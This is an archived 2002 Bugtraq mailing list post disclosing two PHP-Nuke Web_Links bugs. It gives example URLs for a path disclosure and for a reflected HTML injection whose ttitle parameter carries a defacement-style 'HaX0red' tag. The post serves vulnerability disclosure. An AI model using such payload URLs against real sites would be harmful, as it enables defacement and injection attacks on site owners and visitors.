|
Bugtraq
mailing list archives
Security bugs in PhpNuke
From: Thiébaut <thiebaut.adsl () wanadoo fr>
Date: Wed, 3 Apr 2002 20:21:24 +0100
Hello,
I found 2 security bugs in phpnuke
The first is a path disclosure vulnerability :
Change this
http://nukesite.xxx/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=3
in that ...
http://nukesite.xxx/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink
The second one is hax0r style :
change this ...
http://nukesite.xxx/modules.php?op=modload&name=Web_Links&file=index&l_op=ratelink&lid=17&ttitle=Great_places_for_free_advertising!
to this...
http://nukesite.xxx/modules.php?op=modload&name=Web_Links&file=index&l_op=ratelink&lid=17&ttitle=<h1>You%20HaVe%20BeEn%20HaX0red!!!
By,
Thiébaut (napnap)
 By Date 
By Thread
Current thread:
- Security bugs in PhpNuke Thiébaut (Apr 03)
|
